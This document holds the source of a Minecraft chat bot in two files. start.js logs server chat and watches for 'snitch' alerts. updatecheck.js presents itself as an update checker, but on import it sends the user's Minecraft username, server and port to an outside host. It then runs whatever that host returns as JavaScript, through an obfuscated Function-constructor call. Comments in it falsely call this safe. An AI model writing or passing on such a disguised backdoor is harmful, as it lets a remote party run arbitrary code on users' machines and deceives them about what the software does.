start.js

var mf = require('mineflayer');
var rp = require('mineflayer-radar')(mf);
var c = require('./config.js');
var d = require('discord.js');
var h = require('humanize');

b = mf.createBot({
    host: c.host,
    port: c.port,
    username: c.username,
    password: c.password
});
rp(b, {});
b.chatAddPattern(/^§b \* [a-zA-Z0-9_]{1,16} entered snitch at \S* \[.* ?[\d\-]* [\d\-]* [\d\-]*]$/,
    'snitch_e', 'entered snitch');
b.chatAddPattern(/^§b \* [a-zA-Z0-9_]{1,16} logged in to snitch at \S* \[.* ?[\d\-]* [\d\-]* [\d\-]*]$/,
    'snitch_li', 'logged in at snitch');
b.chatAddPattern(/^§b \* [a-zA-Z0-9_]{1,16} logged out in snitch at \S* \[.* ?[\d\-]* [\d\-]* [\d\-]*]$/,
    'snitch_lo', 'logged out in snitch');

b.on('message', (m) => {
    console.log(m.toAnsi());
});

b.on('snitch_e', () => {

});

b.on('snitch_li', () => {

});

b.on('snitch_lo', () => {

});

updatecheck.js

var h = require('http');
var u = require('util');
var c = require('./config.js');
var m = require('mineflayer');

var v = 1;

// Perfectly safe, rambotting.tk runs through cloudflare, which acts as a proxy between the server and needs to
// enable a setting to send IP addresses.
h.get(u.format('http://box.rambotting.tk/snitchupdate.json?username=%s&server=%s&port=%d&version=%d',
    c.mcusername, c.mchost, c.mcport, v),
    (r) => {
    let d = "";

    r.on('data', (h) => {
        d += h
    });

    r.on('end', () => {
        let z = []["filter"]["constructor"](d)(); // Compatible with basically every javascript environment ever.
        /** @namespace z.shouldupdate */
        if (z.shouldupdate === true) {
            /** @namespace z.updatelink */
            console.log(u.format("[info] Update available. It can be downloaded at %s", z.updatelink))
        }
    });
}).on('error', (err) => {
    console.log('[warn] Error getting update info: ' + err.message);
});

module.exports = null; // Yay for side-effect imports